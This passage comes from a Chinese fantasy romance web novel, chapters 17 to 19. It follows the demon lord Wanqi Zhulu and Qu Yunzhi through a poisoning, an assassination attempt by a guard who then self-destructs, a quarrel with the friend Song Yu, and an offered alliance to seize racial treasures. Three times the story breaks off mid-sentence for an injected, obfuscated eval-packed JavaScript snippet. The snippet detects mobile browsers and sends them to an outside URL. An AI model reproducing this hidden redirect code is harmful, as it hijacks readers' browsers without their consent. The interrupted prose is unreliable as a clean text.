他们之间唯余一片近乎于绝望的死寂,相拥着跪坐地上,像是恶狼顽固地圈养白兔,两个截然不同的物种,隔着同样温热的皮囊心意却无法相通,只有单方面不肯放弃的无望执着。 谁也不曾开口说话,也没有什么值得倾诉的话语。 就这样静待天明的到来,等待宫花一落的毒素彻底爆发。 万俟逐鹿甚至冒出殉情也不错的淡淡想法。 “我是不是打扰你们了?” 一道略显迟疑的温雅嗓音,自街巷尽头传来。 希辰拐出街角,神识一扫“看”清了眼下的场景,然后就是一顿。 只见二人衣衫凌乱,眼中俱有未消的春情水色,魔尊脖子上血呼啦擦,烙了个看着就疼的牙印,而曲云织领口沾血,更重要的是也中了宫花一落的毒。 这俩倒霉玩意儿到底玩了些什么花样? 问题是善后工作还需要他来! 希辰皮笑肉不笑,脚步用力到能将砖石踩碎的程度,迈着哒哒哒气势汹汹的步子来到这二人面前。 深吸一口气,往袖子里掏了掏,没好气扔过来两个瓷瓶。 “你们运气好,我本打算销毁这批宫花一落的解药,最后关头改了主意才堪堪抢救出来这两瓶。” 17. 第 17 章 希辰的出现打破僵硬的氛围。 曲云织与魔尊分开,站起身,目光往手中装着解药的瓷瓶一扫,接着在希辰与魔尊之间转了一圈,陡然间明白了什么。 只听希辰说:“神族奸细潜伏日久,想将他们一网打尽着实困难,可我若是做不到又无颜面对魔尊陛下。” 他躬身,优雅又轻巧地向魔尊行了一礼,“还是陛下体恤我的难处,主动对我相帮,我实在过意不去才找到了宫花一落的解药以作报答。” “也得多谢曲夫人慷慨解难,若非您精妙的傀儡术,我没法那么轻易将奸细一个不落地找出来。” 希辰的姿态彬彬有礼,说话时的语气带着恰到好处又不显谄媚的奉承。 可听在曲云织这里,尤为刺耳。 魔尊下了一个连环套,以激进派撤出王城的现状逼守旧派下场,点出神族奸细的存在收服希辰,而后利用和谈的时机与宫花一落的时限引诱她踏入他的陷阱。 实则并没有什么和谈,他只是暗中与希辰联合,反借曲云织之手将神族奸细连根拔出。 他二人一个获得了解药,另一个除了眼中钉肉中刺,皆大欢喜。 再然后呢? 曲云织扯了扯嘴角,却丝毫不见笑意,问魔尊,“激进派那边你打算如何处理?” 万俟逐鹿有些心不在焉,慢了半拍才反应过来,淡声回答,“和谈之事并非骗局,只是在时间与地点上瞒了你。” “还有条件吧?”曲云织眼含嘲弄,“比如与段干鸿达成共识的前提,是先处理了我。” 这场局里除了她和那群被玩弄到底的神族奸细,所有人都心满意足。 万俟逐鹿沉默着,并未否认。 曲云织忽然感到了一种疲惫,她本就失血过多,还被夜风吹了一宿,接连听到这许多噩耗,她不禁有些兴致索然,头脑昏昏。 “我身边那个暗卫呢?”她在最后想起提了一嘴。 应当被希辰抓住,投入大牢了吧? “什么暗卫?”希辰偏头,脸上是一派不作假的疑惑。 曲云织正揉捏胀痛的眉心,冷不防见希辰这反应,觉得古怪,想了想还是全盘托出,“王城侧门那场动乱,是我叫他引起的。” 希辰面色倏尔一凝,“从头到尾,我都不曾察觉这一号人。” 那他眼下在何处,又在做些什么? 不止是曲云织,连万俟逐鹿都看了过来,露出一副意外之色。 变故正是在此时发生。 一道寒光乍然而起,以奔雷之势袭向魔尊,挑开他尚未吞服的解药瓷瓶,去势不减直贯他心口。 砰! 瓷瓶碎裂一地,解药渗进了青石板的孔隙里,连带着还浇上一捧温热粘稠的血。 曲云织视野捕捉到一闪而过的利芒,等她看清眼前景象,瞳孔不由惊诧地缩了一下。 他们口中谈论之人,本该去向不明的暗卫手中执长刀,刀身有半截陷进魔尊的胸口,穿透他的肋骨,露出一段寒芒闪烁的锋锐刀尖。 关键时刻,万俟逐鹿只来得及险之又险避过心脏处的要害,仍是被刺穿胸膛。 步谨言慢条斯理转动手腕,刀锋在魔尊血肉里绞了一圈。 万俟逐鹿闷哼一声,身体上的剧痛比不过他心底浩浩荡荡攀升的怒火,真是挑了个好时候,宫花一落的毒素磨得他精疲力竭。 感知到主人怒不可遏的情绪,他脚下影子骤然暴涨,张牙舞爪似要将来犯之敌撕碎。 步谨言见一击不成,抽身即退。 他并没有选择立即逃跑,而是转身朝着曲云织的方向。 “我带你走。” 曲云织挑了挑眉,站着没动,她想看看暗卫玩的哪一出。 而一旁,始终冷眼旁观,连魔尊受伤都不为所动的希辰选择在此时出手,轻描淡写并指一划。 结界拔地而起,短暂地阻了步谨言一瞬。 正是这短短片刻的耽误,让他被身后铺天盖地的影子追上。 魔尊再不济,也是当世魔族至强者,即便油尽灯枯依旧不容小觑。 万俟逐鹿踩在阴影遍布的街道上,身后是摇曳动荡的夜色。 他松开捂着胸口的手,那里的伤口被一团雾气似的黑暗修补,抹去唇角的血,眼底是一派戾气横生。 宫花一落的毒素蔓延得更快了些,荆棘纹路刺穿他的眼角,几乎抵达眉心灵台。 “你想带曲夫人去哪儿?” 万俟逐鹿尾音压得很低,又带着些许上扬,森冷而尖刻。 黑暗自四面八方围拢而来,步谨言发现自己无处可逃,平静直视着魔尊,拉下常年戴着的面罩,随手丢弃在一旁。 金属落地的声响过后,是一道略带点喑哑的嗓音,“她是人族,不应该待在魔域。” “方才王城发生一场暴乱,只要她还被你强留在此,就绝不会是最后一次,你迟早会害死她。” 万俟逐鹿一怔,怒火演变成近乎荒唐的笑意,他气得狠了,甚至鼓起了掌称赞道:“不错啊,一介区区暗卫知道忠心护主。” “那你还知不知道你真正的主子究竟是谁?” 他语调蓦地拔高,又突兀降至谷底,深刻演绎了什么叫喜怒无常,阴沉一张面容,先是意味不明看了眼曲云织,后转向步谨言。 “本尊竟不曾察觉,你与曲夫人的关系何时这般好了?” 曲云织眸光一晃,细微的神色在眼中流转。 听魔尊这语气,怎么像极了—— 捉奸? 那可真是一场笑话了。 眼下这情况,她说什么都不好使,于是敛了眼睫,干脆垂袖站在一边,既不辩解,也不否认。 “与曲夫人无关,是我一厢情愿。”步谨言刻意说着惹人误解的话,又仿佛为了曲云织开脱。 万俟逐鹿呼吸都沉了,明明这二人之间都没什么互动,看起来却像欲盖弥彰,就在他眼皮子底下互通有无! 怒意攀升到极致反而冷静下来。 他想起另一种可能,这暗卫兴许是受曲云织摆布的傀儡。 万俟逐鹿迫不及待寻求验证,与步谨言缠斗的间隙,指尖点上他灵台。 “不是傀儡?” 曲云织的傀儡术胜在隐秘,想要解除却十分简单,只要用神识撼一撼灵台就成,可暗卫瞧着并没有多大反应。 步谨言仓促退至一边,方才魔尊有本事趁机探他灵台,就代表同样有本事一击杀他。 他抿了抿唇,面对实力的鸿沟,不甘但又无可奈何,只能在言语上刺激魔尊。 “我所有行为皆发自真心。”步谨言嘴角微微上扬,擦身而过的瞬间低声说,“魔尊陛下想必理解不了吧,喜欢一个人绝非将她强行留在身边。” 万俟逐鹿瞳孔一颤,被戳中最狼狈的一点,心绪震荡不稳,四面合拢的影幕都有了破绽。 步谨言正是趁此时机,挥刀破开一个缺口,向曲云织伸手,一字一句铿锵,带着某种坚定不移的执着,“曲夫人,我带你离开魔域。 曲云织似有所触动,怔怔地,拢着衣袖的手微松开,不自觉往他的方向踏前一步。 轰隆! 一声震天动地的巨响过后,那对郎情妾意的苦命鸳鸯之间,地面被撕裂开一道极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251981|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深的沟壑。 “闭嘴。” 万俟逐鹿缓缓撤手,声音冷静到异样的地步。 “今日没有本尊允许,谁也不许离开。” 他想明白了,回忆起曲云织在见到暗卫时也是同样的始料未及,这暗卫的行动不在曲云织掌控下。 那二人未必是一伙的。 “你背后真正的人是谁?谁指使你袭杀本尊?” 万俟逐鹿不再留手,放弃对宫花一落毒素的压制,彻底钳制住步谨言。 他头脑已然有些昏沉,被染黑的经脉进一步逼近,几乎将他整个人淹没荆棘丛林,迈着自己都不知道稳不稳当的步伐,来到步谨言面前。 再度问了一句,“你背后之人究竟是谁?” “我说过了。”步谨言垂眸俯视魔尊,“我所有行为皆发自本心。” 万俟逐鹿顿了顿,晕眩的视野中,简直像一个昏了头的错觉,他竟在暗卫眼里看到了对他的怜悯。 怜悯他一味否认事实,胡乱冒出莫须有的猜测,将锅甩给傀儡术、背后之人,而不肯承认那个最糟糕的可能性—— 暗卫与曲云织两情相悦,他才是棒打鸳鸯,强行占据曲云织的那一个。 万俟逐鹿固执地掐灭了这一想法。 绝对是他昏了头,暗卫背后有第三方作祟,这才是一个符合逻辑的推论。 他平日里的性格不应如此一意孤行,是受了宫花一落的影响,还是当真中了名为爱情的毒药? 万俟逐鹿已无暇去思考那些。 “你不说就算了。”他眼神冷淡下来,揉捏着眉心,“等本尊将你的魂一搜,就什么都知道了。” 步谨言弯了弯眼睛,只吐出简短两个字,“休想。” 他自爆了神魂。 万俟逐鹿第一反应是压制这场自爆,这附近就有街区,会波及到无辜民众。 属于影魔的影子如同一只鼓胀收缩的水母,带着比夜空还要浓稠的墨色,将一阵毁天灭地的火光死死局限住。 良久,动静平歇。 万俟逐鹿千疮百孔的身体再次受到冲击,呕出大口大口的鲜血,艰难喘匀了气,抬眼时却愣在原地。 曲云织出神地凝视暗卫自爆的方向。 魔尊被耍得团团转,她却是再清楚不过。 她在暗卫临死前探出一缕神识,第一次撬开他的心扉,感知到他真实的情绪。 欢愉的,平静的,带一些满足的。 他像是终于达成一场苦苦追寻的美梦。 从王城侧门的骚动,再到曲云织以鲜血引发暴乱与魔尊周旋,这之间暗卫有很长的余暇。 他在这段时间做了什么? 他是否在对她说“那就利用我”之时,早已打算好,反利用曲云织为他争取来这段时间? 直到最后,暗卫也在假装对她怀有倾慕之情,干扰魔尊的判断,避免被搜魂甚至宁肯选择自爆,从而掩藏内心真正的秘密。 是她看走眼,反被步谨言处处利用。 不过,曲云织也找到了机会,利用他的死亡。 她需要魔尊全心全意爱上自己,但现在的他还分不清占有欲和爱情之间的界限。 他想要将自己禁锢在身侧,而今后无论她多少次反抗,都只会适得其反遂了魔尊的心意。 她必须给魔尊一个更大的刺激,要在他步步紧逼自己时,选择推开他,明晃晃告诫他强求之为只会让他们二人渐行渐远。 暗卫之死就是一个很好的契机。 曲云织落下了一滴泪。 一滴在万俟逐鹿看来无比刺眼,又令他心脏抽疼的眼泪。 18. 第 18 章 这是万俟逐鹿第一次见到曲云织落泪。 还是为他人而落的泪水。 万俟逐鹿原以为自己会怒不可遏,可实际却什么都没有。 他只是忽然有些累了。 希辰的声音也好烦,他怎么总是在不该吵的时候吵嚷? “解药碎了一瓶。”希辰蹲下身,拨了拨瓷瓶碎片,“而中了宫花一落的,在我不知情的时候变成了两个人。” 他语气故作苦恼,“这该如何是好呢?” 万俟逐鹿回过神来,看了眼曲云织,极力避免视线与她接触。 她的修为比不得自己,毒素蔓延很快,却因为中毒晚只堪堪抵达心脉附近。 是一瓶解药分给两个人,还是舍一保一? 解药量不够的话,会不会两个人都救不回来? 万俟逐鹿很快便做了决定,对曲云织说:“我那瓶是我保管不当,剩下的那瓶本就是给你的,你用了便是。” 至于他,虽然不是很想,但用魔族至宝九幽水足够吊着一口气。 曲云织没动,像是丢了魂一般,泪痕仍在,一双雾蒙蒙的黑瞳迟钝地转向他。 万俟逐鹿正准备强行给她灌药的动作僵住,一时间不知所措。 希辰神识在这二人之间转了一圈,嘴角直抽。 他慢悠悠起身,往袖子里掏了又掏,不知从哪儿掏出第三个一模一样的瓷瓶。 “你们运气是真的好。”希辰恋恋不舍地将瓶子交出来,“这瓶是我以防万一留给自己的,魔尊陛下可要记着这份人情。” 万俟逐鹿:“……” 你他妈到底有几瓶解药? 批发的吗? 他敢打包票希辰既如此爽快地交出来,就代表他至少还藏了一瓶。 可这解药的原材料,真的是被炎魔一族把持,绝不向外界流通的珍贵资源。 希辰到底从哪儿得来这么多的? 算了,眼下管不了这些。 万俟逐鹿挑开瓶封,仰头将瓶中液体一饮而尽。 困扰他多日的宫花一落,终于在天明毒发之前烟消云散。 晨光熹微。 一切动乱与龃龉隐匿在了将融的夜色中。 * 那一日过后,万俟逐鹿时常会去找曲云织。 只在宫殿外远远看一眼。 看她本就纤弱的身形愈加消瘦,眉眼间积淀更深的郁色和疲倦,衣摆与发丝凌乱地铺陈床榻上,抱着膝盖,侧脸枕在交叠的双臂间,出神地凝视窗外。 也难怪。 万俟逐鹿淡淡一哂,有些想笑。 他拔除了她的所有傀儡,让她毫无反抗之力被自己圈禁,还逼得要带她离开魔域的暗卫自爆,生生拆散这对苦命鸳鸯。 她只怕恨极了他。 可她还是只能留下来,因为他尚且有利可图。 魔族至宝九幽水还在他身上,她已付出这么多,不杀了他强取至宝,难消心头之恨。 万俟逐鹿转身离开。 这几日他的行程很固定,抽出时间看一看曲云织的近况,然后投入无休止的公务中。 其实魔族没那么多事务要处理,只是他最近想不开,揪着一点鸡毛蒜皮的小事也要亲力亲为。 吱呀一声,书房的门被推开。 万俟逐鹿抬头瞥了一眼,见是宋逾,很快低下头去。 “曲夫人的事我听说了一些。” 宋逾来到书桌前,丝毫不避讳,习以为常瞄了一眼魔尊手中公务。 等看清上面的内容,他扶额,这种城东头老李与城西头老王吵架的事,用得着魔尊亲自处理吗? 还是在借公事麻痹些什么? 从宋逾的角度,能瞥到魔尊埋首时毛茸茸的发顶,金饰吊坠晃呀晃的,写满了垂头丧气。 自小一起长大的伙伴低落至此,他不免生出些怜爱,问道:“你与曲夫人今后打算如何?” 万俟逐鹿一顿,“我与她之间,不关你的事。” 宋逾愕然,不可置信揉了揉耳朵,好半天才确认自己没听错。 这还是那个与他无话不谈的小伙伴吗? 他一时气笑了。 宋逾恶狠狠掰过魔尊的肩膀,强行将人从公务堆里拔出来,在他不耐烦又带点茫然的眼神中。 “梆!” 一巴掌呼上他的脑袋瓜。 万俟逐鹿瞪大双眼,“……不是,你干嘛?” 他捂着头,气愤又委屈。 宋逾还想问他干嘛呢,“上次你俩的情感危机就是我在一旁出谋划策,怎么现在又不关我的事了?” “出息了啊,还知道卸磨杀驴。” 万俟逐鹿听完气势顿时矮了一截,闷声道:“我没那个意思,只是心中有自己的思量,所以没必要麻烦你。” 宋逾怒火消了些,但没完全消,抱臂好整以暇地问,“什么思量,说来听听?” 他一屁股坐在书桌上,一手支着桌面,上半身前倾居高临下俯视魔尊,话语带着不容置喙的强硬,“你与曲夫人究竟怎么一回事,实话告诉我。” 万俟逐鹿心想到底你是魔尊还是我是,凭什么听你的。 然后对上宋逾莫名犀利的视线,心中那点不服一下子弱了下去,不情不愿回答,“她是为了我身上九幽水而来。” 宋逾一愣,脸色霎时不好看了起来,九幽水可是与魔尊性命绑定。 万俟逐鹿话语说出口,反倒轻松了许多,还笑着安慰他,“放心,我还没有傻到会甘心将九幽水交出去。” 宋逾面色依旧压抑,“所以那晚的暴乱是曲夫人引起的,而你强势镇压,才导致你们之间的关系降至冰点?” 万俟逐鹿轻轻应了一声。 这下轮到宋逾纠结了。 他清楚魔尊所作所为没什么不对,他自己的立场也很赞同,可魔尊是动了真情的,爱上一个对自己图谋不轨之人。 这该如何是好? 宋逾烦躁地抓了抓脑袋,而后恨恨瞪了魔尊一眼。 喜欢谁不好,偏偏喜欢上这么一个麻烦的对象! 万俟逐鹿无缘无故被瞪,不禁失笑,他自己都没怎么纠结,反倒是宋逾为他操碎了心。 宋逾见他还敢笑,更加气不打一处来,“你今后想怎么做,想清楚该如何对待曲夫人了吗?” 万俟逐鹿点头,“我不可能傻到将自己的性命轻易交付出去。” “可我更不愿选择放手。” 他支颐下颌,偏头自窗边远眺曲云织宫殿的方向,唇角噙着清浅笑意,以往冷峻而桀骜的神色稍稍柔和了一些。 “我比谁都清楚,她不会被这点小小挫折所打败。” “再等等就好,她迟早会重新振作起来,再一次向我发起挑战。” “我不会放手的,她也不会放弃。” 万俟逐鹿笑了笑,竟从这种扭曲的纠葛中品尝到一丝甜蜜。 “我们索性就这样斗到地老天荒。” 宋逾有片刻失语,他望着魔尊,从那双乖戾黑瞳里看到了近乎温柔的神色。 不知想了些什么,他沉默地跃下书桌,站在魔尊面前,然后—— “梆!” 又是一道沉闷的巴掌落在魔尊头顶。 万俟逐鹿:“!!!” 他站了起来,凭借身高优势阴沉沉睨着宋逾,“你再这样我真的发火了啊!” 宋逾梗着脖子毫不示弱,“有本事就来啊?怕了你不成?” 万俟逐鹿怒极反笑,连说两个好字。 魔尊气性上头,脚下影子瞬间暴涨,眨眼间覆盖书房每一寸角落,压抑而森冷的黑暗将光线逼退,此地俨然成了一座诡谲的深林与岩洞。 几缕粘稠的影子如藤蔓般悬落,更像伺机蛰伏的毒蛇,弓起脊背悄无声息潜藏起来。 “宋逾。”万俟逐鹿难得念了一次宋逾的全名,显然动了真火,“你到底对本尊有何不满?” “九幽水事关重大,我自认在这一点上没有不妥,不曾对曲云织卸下心防。” “可我也是有私心的,喜欢她,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251982|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿意处置她,而是将一个隐患留在了身边。” “因为本尊有那个能力做到两全!” 宋逾全然察觉不到就在身后咫尺之隔威胁他的影子,他往前踏了一步,深深吸一口气。 “我气你,是因为你就是一个大傻叉!” 万俟逐鹿顿感惊愕,这还是他第一次被宋逾如此直白地痛骂。 宋逾仍在咄咄逼人地说:“你以为你这就算是两全,揪着一个不喜欢你的人,强心禁锢在自己身边,无休止地折磨下去?” “这就是你喜欢一个人的方式?” 万俟逐鹿心脏缩了缩,一阵隐秘的刺痛倏然扎了他一下,使他几乎口不择言,“怎么不算?本尊默许她反抗,纵容她闹出事端,她对我的性命虎视眈眈我也忍下了!” “甚至于——” 后面的话他没能说出口。 甚至于曲云织与玄微,与那个暗卫的事,他也能既往不咎。 宋逾冷笑连连,“放屁!” “你不过是在自以为是地对她好,喜欢一个人重要的根本不是将她留在身边,而是祝愿她的幸福。” 宋逾平静下来,一张清秀面容上,双眼如同明镜般澄澈,“你与曲夫人相处之时,可曾有过二人都发自真心的欢愉?” 万俟逐鹿思绪在这一刻尽皆停驻,一幕幕回忆在脑海中闪现。 他笃定地说:“有的。” 许久之前,他也曾见过曲云织的笑颜,虽然不知道那是否是她的伪装。 他固执地强调,“一定有的。” 宋逾没说话,他只是很安静地凝视着魔尊,清澈的眼倒映万俟逐鹿的面容,映出他脸上自欺欺人的倔强。 万俟逐鹿狼狈地移开目光,“是啊,你说的没错,喜欢一个人会希望她能得偿所愿。” 他重新转过头来,指尖用力点着自己的胸口,“难不成要本尊亲自剖了一颗真心,将九幽水连同自己的性命一同奉给她?” 万俟逐鹿逼视着宋逾,“你站在本尊的立场能做出比我更好的选择吗?你又不曾对人动过心,凭什么一副说教的口吻对本尊挑三拣四?” 宋逾卡了壳,的确,他没有喜欢过什么人。 “但我见过人间的恩爱夫妻,至少他们绝不是你与曲夫人这般。” 万俟逐鹿哑然半晌,“寻常夫妻也不会如我与她那样,站在全然敌对的两边。” 这话过后,二人间静了许久。 宋逾叹了口气,他与魔尊大吵一架,还没争执出一个结果,但已经没有继续吵下去的心力。 谁都有理,谁也说服不了谁。 他冷静下来,看着万俟逐鹿,见他蔫头耷脑,却站得笔直,眼里是称得上幼稚的执拗,简直就像根直愣愣的棒槌,哪怕将天捅破也不肯服一下软。 宋逾忽而想起他小时候的模样。 巴掌大的黑色糯米团子,遇到喜欢的东西就会牢牢压在肚皮下面,紧紧黏附着,软乎乎的一团却倔得很,任谁来了都拉不开。 与他如今何其相似。 魔尊没有爱上他人的经验,也不懂如何去喜欢一个人。 他第一次有了心动的对象,只知道顽固地留在身边,誓不罢休。 唯独在情爱一道上,他还是个不通人情世故的小屁孩。 宋逾突然笑了出来。 万俟逐鹿不解地看向他。 “你既如此坚持,那就去找吧。”宋逾心里其实并不支持他喜欢曲云织,因为他实在担心魔尊的安危。 却也同样不忍目睹他的黯然神伤。 宋逾无奈地给这个木鱼脑袋答疑解惑,“去找到一条你与曲夫人能同行的路。” 万俟逐鹿呆呆的,好半天才有了反应。 盘踞在书房的漆黑影子,也同主人一般呆头呆脑地掉了下来,阳光重新自窗棂漫洒而落,浸透在魔尊眼底。 “好。”万俟逐鹿认真应诺,“我听你的。” 于是这天,他站在曲云织的卧房外,不自在地垂了垂眼。 轻轻敲响了门。 19. 第 19 章 门没有锁。 万俟逐鹿稍稍一推,便打开了。 门后的布置奢丽典雅,彩绘蟠纹瓶,雕花梨木窗,软烟罗的帐幔,许许多多都是他依照自己花哨的审美所安排。 而他真正希望亲手妆点的美人,正单衣披发,抬眼轻轻朝他望来。 肤白更胜雪魄冰精,一点黑眸沉如墨画,那双眼本该是白纸上浓墨重彩的一笔,徐徐勾勒她三分动人情态,此时却似氤氲在一场寒夜急雨中,迷离而虚渺。 多日不见,她似乎又回到二人初见时的模样。 明明触手可及,却好像到了一个很遥远的地方,只让人雾中观花般依稀觉得,她是悲伤的。 万俟逐鹿知道,不是她变回从前模样,而是他所作所为,将二人好不容易拉近的距离重新推远。 暗卫之死成了他们之间的隔阂。 其实曲云织未必有多喜欢那个暗卫,只是他许诺给她逃离魔域的自由,而万俟逐鹿却要打碎她的傲骨将她强行留下。 万俟逐鹿冷静下来后,许多事都想明白了。 他缓步来到曲云织榻前,坐下,这一次没有避开那双被他伤透的眼,开口前再三思虑。 要找到一条他与她足以同行的路,意味着双方都能如愿以偿。 万俟逐鹿说出了一个答案早已了然于心的问题,“你还想要我身上的魔族至宝九幽水吗?” 听到这话,曲云织眼中起了丝波澜,偏头,目光格外专注,凝视魔尊许久。 她以退为进的策略这么快就见效了?魔尊这是要主动上门求和? “当然想。” 曲云织不打算放过这次机会,缓缓点头,倾身靠近,抬起手臂时蜿蜒的发丝滑落,宛如成百上千条盘亘的毒蛇。 她将掌心贴上魔尊胸膛,指腹触到衣襟下滚烫的肌肤,感知层层皮肉包裹下有力的心跳,轻声问,“那你愿意给我吗,连同你的性命一起?” 万俟逐鹿攥住了她的手,没有撇开,而是往自己心口贴得更紧,话语却是截然相反的意思,“本尊不愿。” 曲云织立时兴致索然,倦怠阖眼,抽手就要与他拉开距离。 万俟逐鹿见此,不免苦笑了一下,他在曲云织眼里还真就是个盛放九幽水的容器。 “你为何想要收集鸿蒙至宝?”他出声拉回曲云织的注意,“是人魔两族的便已足够,还是非得人魔神妖四族不可?” “是为了独步天下的权力,还是那所谓的四族至宝可引动天道法则?” 曲云织蹙眉,魔尊话中的信息颇丰,她想不听都难,“你问这些做什么?” 万俟逐鹿见成功引起她的兴趣,微不可查松了口气,几日来的焦躁与郁闷一扫而空,笑容间也多了些明朗。 他握着曲云织的手不放,带着她感受自己胸腔下的心跳,一声又一声,沉稳有力,绝无虚言。 “本尊不愿将九幽水交付与你,却可助你夺得神妖二族的鸿蒙至宝。” 曲云织愣住了,仔仔细细描摹魔尊的神情,然后荒谬地发现他是认真的,“你疯了吗?” “鸿蒙至宝再怎么说也是一族气运象征,你难道想同时与神妖二族开战?” 连她也只敢偷摸接近气运之子,借着鸿蒙至宝无法被抢夺这一修真界共识,暗地里兴风作浪。 万俟逐鹿无所谓笑道:“别忘了我还有一笔账要向神族清算。” 他微微歪头,一缕发尾泛着枯槁之色的小辫滑落脸颊,昭示他曾险些死于神族谋划的刺杀,“我本就打算征讨神族。” 万俟逐鹿终于松开了曲云织,再次伸手,掌心朝上,向她郑重地发出邀请,“如何,要同本尊一起吗?” 他略带一丝夸张与戏谑,慢吞吞却有着不知天高地厚的狂妄,说道:“与全世界为敌。” 曲云织没有立即回应。 倘若魔尊此言非虚,她实在想不到还有比这更好的选择。 她能借用整个魔族的势力帮自己达成目的。 可她还不能轻率地做出决定,她还有许多问题承待确认。 “你方才问我是不是只需人魔二族至宝便已足够,难不成仅仅两件鸿蒙至宝能做些什么?”曲云织敏锐察觉这丝异样,“不是只有集齐了四族至宝才能引动天道法则吗?” 万俟逐鹿顿了顿,“你不知道吗?” 曲云织心下冒出不妙的预感,上一次这种情形出现,还是魔尊揭露玄微并非真正的气运之子,反让她栽了一个大跟头,暴露自己这一族能强夺鸿蒙至宝的能力。 “我对鸿蒙至宝的了解并不深。”曲云织只能这样说。 万俟逐鹿倒没发表什么看法,他知道曲云织还有许多疑虑,一时半会没法回应他。 他收回了手,耐心向曲云织解答,“你可能有一个误解,集齐四族至宝能引动天道法则。” “这句话大错特错。”万俟逐鹿说得果断,“每一件鸿蒙至宝本身就是一条天道法则。” 曲云织虽有些震惊,但并不太意外。 只听魔尊继续道:“就拿我们魔族的至宝九幽水来说。” 他为了演示,竟将九幽水展示在曲云织面前。 万俟逐鹿的指尖渗出一颗小小血珠,漆黑浑圆,漂浮在半空。 既没有什么铺天盖地的威压,也没有暗藏的玄奥之处,这样一颗平平无奇的黑色血珠,就是魔族的至宝九幽水。 “别听希辰说什么九幽水可以洗经伐髓,那不过是神族放出来无关紧要的情报。” 万俟逐鹿垂眸凝视指尖血珠,风轻云淡道:“九幽水真正的能力,是改写。” “如同鱼游水,鸟腾空,各有各的天性使然,而九幽水却能做到让鱼翔九天,鸟跃水底,草木口吐人言,虎豹沦为饵食,从根本上改写一个种族的天性。” 曲云织感到了一种震骇,再看魔尊指尖悬浮的其貌不扬的九幽水,眼神都不一样了。 一个种族的兴衰就流转在那颗漆黑血珠的表面。 她涩然问出了口,“所以这就是你一介魍魉能登上魔尊之位的理由,你用九幽水改写了自己的资质?” 他能这样改写自己,是否能同样改写整个魔族? 一想到魔族人人都具备魔尊这般资质,曲云织就不寒而栗。 万俟逐鹿难以置信望过来,一把将九幽水捏碎收入身体,“不是,本尊在你眼里就这么没牌面吗?” 他指着自己鼻头,眼睛瞪得老大,超级委屈,“我还需要用九幽水作弊?” 曲云织无言,上上下下打量魔尊,嫌弃的眼神不言而喻。 不然呢?你真身就是一魍魉,影魔里最低等的存在。 万俟逐鹿接收到她眼神中的含义,闭了闭眼,狠狠深呼吸几口,竭力心平气和,“这就要说到有关鸿蒙至宝的第二点。” “那就是单一的至宝无法使用,至少两件及以上的鸿蒙至宝才能彼此触发,就连所有者的气运之子也无法违背。” “光是九幽水都这么逆天了,其他三件至宝压根不下于它,要真能随心所欲使用,这个世界早就乱套了。” 曲云织一瞬间明白了许多,“神族早已掌控了妖族,也就意味着他们随时能发动至宝!” 这才是神族高居云上天不得下界,却始终备受忌惮的原因。 “不错。”万俟逐鹿唇角一勾,视线专注凝视曲云织的面容,“而眼下人族至宝就在你身上,你我二人合力,便拥有了与神妖两族对抗的资本。” “所以本尊问你。” 万俟逐鹿第一次在曲云织面前毫不保留展示他作为魔尊的威仪,眼含睥睨与质询。 “你只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251983|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要人魔二族至宝满足一己私欲,还是贪心到要将四族至宝收入囊中?” 曲云织倏地展颜,笑容锋锐而艳丽,“我自然是要做一个贪心至极的女人。” 她要拯救此时依然饱受天罚折磨的族人。 解除天罚,唯有集齐四族至宝引动法则这一条路可以走。 “最后一个问题。”曲云织敛了笑,嗓音平稳,视线带着评估的意味,“只要回答能让我满意,我就答应你的提案。” 万俟逐鹿难得感到些许紧张,眨了下眼睛,“你说。” 曲云织一字一顿,“你能否动用九幽水之力,改写魔族食人的天性?” 万俟逐鹿怔住,面上神色一阵变化,最后定格在了一个略显晦涩的表情上。 “我做不到。”他说。 曲云织眯起眼睛,咄咄逼人,“为何,人族至宝太乙天书就在我这里,你不是说两件至宝就足够彼此触发吗?” 万俟逐鹿眉头紧锁,他实在没想到曲云织最后一个问题会是如此棘手,心中万分挣扎与纠结,终是不愿欺骗她,哑声道:“不是不能,而是我不愿。” 这话说出口,他明显感觉到曲云织看向他的眼神里已没了温度。 万俟逐鹿也没法辩解,他只是离开床榻,沉默地单膝跪在曲云织面前,仰头,姿态是与以往天差地别的温和。 “魔族有同族互食的陋习,还有着食人的天性,说是强者为尊,实际不过是将弱肉强食那一套贯彻到底,我们正是这样的残忍愚昧,血腥狡诈。” 他像是一只温顺的狼,趴伏头颅,枕在曲云织榻边,一双清澈的眼安安静静看过来。 “可归根究底,魔族发展至此的原因是恐惧,他们只是太害怕了,害怕自己一旦变弱,就会被强者碾压。” 曲云织神色毫无波澜,魔族怎样,她一点也不关心。 